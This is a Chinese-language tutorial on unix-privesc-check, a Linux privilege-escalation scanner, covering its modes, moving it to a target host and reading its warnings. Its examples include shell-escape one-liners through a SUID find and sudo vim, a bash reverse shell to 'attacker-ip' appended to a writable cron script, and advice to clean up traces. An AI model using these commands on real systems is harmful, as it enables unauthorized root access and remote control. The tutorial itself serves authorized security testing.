unix-privesc-check是Kali Linux中一款款专注于Unix/Linux系统本地权限提升检测的轻量级脚本工具。它通过自动化扫描系统中的文件权限、配置设置和潜在安全漏洞,帮助渗透测试人员和系统管理员识别可能被本地用户利用来提升权限(如从普通用户获取root权限)的安全风险点。
作为一款专注于权限提升检测的工具,unix-privesc-check设计简洁、运行高效,无需复杂配置即可快速执行扫描,非常适合在渗透测试的后渗透阶段使用——当测试人员已获得目标系统的低权限访问后,可通过该工具快速定位提权突破口,为后续的权限提升操作提供重要参考。
一、unix-privesc-check核心功能与特点
核心功能
- 检查SUID/SGID文件权限配置,识别可能被滥用的高权限可执行文件
- 扫描敏感系统文件(如/etc/sudoers、/etc/passwd)的权限设置
- 检测系统环境变量配置中的安全隐患
- 分析计划任务(crontab)的权限设置和执行脚本
- 检查用户和组的权限配置
- 识别可能存在的符号链接漏洞
工具特点
- 双模式扫描:提供standard(标准模式)和detailed(详细模式)两种扫描模式,可根据需求平衡扫描速度和检测深度
- 轻量级设计:纯脚本实现,无需安装额外依赖,可直接在目标系统上运行
- 结果清晰:扫描结果中以”WARNING”标记高风险项,便于快速定位问题
- 兼容性强:支持绝大多数Unix/Linux发行版,包括各种主流Linux系统和Unix系统
- 合规性提示:内置法律合规提醒,强调仅可在获得授权的系统上使用
二、工具用法说明(中文翻译与表格)
| 类别 | 英文原文 | 中文翻译 |
|---|---|---|
| 基本用法 | Usage: unix-privesc-check { standard | detailed } | 用法:unix-privesc-check { standard(标准模式)| detailed(详细模式)} |
| 标准模式说明 | “standard” mode: Speed-optimised check of lots of security settings. | “standard(标准模式)”:针对大量安全设置的速度优化型检查(扫描速度快,适合快速初步排查)。 |
| 详细模式说明 | “detailed” mode: Same as standard mode, but also checks perms of open file handles and called files (e.g. parsed from shell scripts, linked .so files). This mode is slow and prone to false positives but might help you find more subtle flaws in 3rd party programs. | “detailed(详细模式)”:与标准模式功能相同,但额外检查开放文件句柄的权限和被调用文件的权限(例如从shell脚本解析的文件、关联的.so动态链接库文件)。此模式速度慢且易产生误报,但可能帮助发现第三方程序中更隐蔽的漏洞。 |
| 工具作用 | This script checks file permissions and other settings that could allow local users to escalate privileges. | 该脚本检查可能允许本地用户提升权限的文件权限及其他配置设置。 |
| 法律声明 | Use of this script is only permitted on systems which you have been granted legal permission to perform a security assessment of. Apart from this condition the GPL v2 applies. | 仅允许在您已获得合法授权、可执行安全评估的系统上使用此脚本。除本条款外,本脚本适用GPL v2(GNU通用公共许可证第2版)协议。 |
| 结果解读 | Search the output for the word ‘WARNING’. If you don’t see it then this script didn’t find any problems. | 在输出内容中搜索”WARNING”关键词。若未找到该关键词,则说明此脚本未检测到任何风险问题。 |
三、unix-privesc-check使用教程
1. 工具获取与准备
在Kali Linux中,unix-privesc-check通常已预装,可通过以下命令确认:
which unix-privesc-check如果未安装,可以通过以下命令安装:
sudo apt update && sudo apt install unix-privesc-check也可以从网上下载脚本文件:
wget https://raw.githubusercontent.com/pentestmonkey/unix-privesc-check/master/unix-privesc-check chmod +x unix-privesc-check2. 传输工具到目标系统
通常需要将工具传输到已获取低权限访问的目标系统,常用方法有:
(1)使用Python HTTP服务器传输
- 在Kali本地启动HTTP服务器:
python3 -m http.server 8080 - 在目标系统上下载:
wget http://kali-ip:8080/unix-privesc-check -O /tmp/unix-privesc-check chmod +x /tmp/unix-privesc-check
(2)使用scp传输(如果有SSH访问权限)
scp unix-privesc-check user@target-ip:/tmp/3. 基本使用方法
(1)标准模式扫描
标准模式扫描速度快,适合快速初步评估系统安全状况:
./unix-privesc-check standard建议将结果输出到文件以便后续分析:
./unix-privesc-check standard > privesc-scan-standard.txt(2)详细模式扫描
详细模式提供更深入的检查,但速度较慢且可能产生误报:
./unix-privesc-check detailed输出到文件:
./unix-privesc-check detailed > privesc-scan-detailed.txt4. 结果分析方法
扫描完成后,主要关注输出中的”WARNING”条目,这些是可能的权限提升点:
# 在结果文件中搜索警告信息 grep "WARNING" privesc-scan-standard.txt常见的高风险警告包括:
- 具有SUID权限的危险命令(如nmap、vim、find等)
- /etc/sudoers文件配置不当,允许用户无需密码执行命令
- 敏感系统文件具有过宽的写入权限
- 计划任务(crontab)配置不当,允许普通用户修改
- 内核版本存在已知的权限提升漏洞
5. 典型场景应用示例
示例1:发现具有SUID权限的find命令
扫描结果中出现类似以下警告:
WARNING: SUID file /usr/bin/find has permissions 4755利用方法:
find / -exec /bin/sh \; -quit示例2:发现sudo配置不当
扫描结果中出现类似以下警告:
WARNING: User test can run /usr/bin/vim as root without password利用方法:
sudo vim :!sh # 在vim中执行shell获取root权限示例3:发现具有写入权限的计划任务脚本
扫描结果中出现类似以下警告:
WARNING: Cron job /etc/cron.hourly/backup.sh is writable by user test利用方法:
echo '/bin/bash -i >& /dev/tcp/attacker-ip/4444 0>&1' >> /etc/cron.hourly/backup.sh # 等待计划任务执行或触发执行,获取反向shell四、使用注意事项
- 合法授权:仅在获得明确合法授权的系统上使用该工具,未经授权的扫描可能违反法律法规
- 模式选择:一般先使用标准模式进行快速扫描,发现潜在问题后再使用详细模式深入分析
- 结果验证:详细模式可能产生误报,发现警告后需手动验证确认是否真的存在可利用的漏洞
- 系统影响:详细模式可能对系统性能产生一定影响,建议在非生产高峰期使用
- 痕迹清理:在渗透测试中,使用完毕后应清理工具文件和扫描结果,避免留下痕迹
- 结合其他工具:该工具应与其他权限提升工具(如linpeas)结合使用,以全面评估系统安全状况
五、总结
unix-privesc-check是一款简单实用的Unix/Linux权限提升检测工具,通过双模式扫描设计,能够满足不同场景下的权限提升漏洞检测需求。其输出结果清晰直观,特别适合渗透测试人员在获取低权限访问后快速定位提权突破口。
使用时应注意合法授权,结合实际场景选择合适的扫描模式,并对扫描结果进行手动验证。虽然工具功能相对基础,但在权限提升测试中仍能发挥重要作用,是渗透测试人员和系统管理员进行安全评估的得力助手。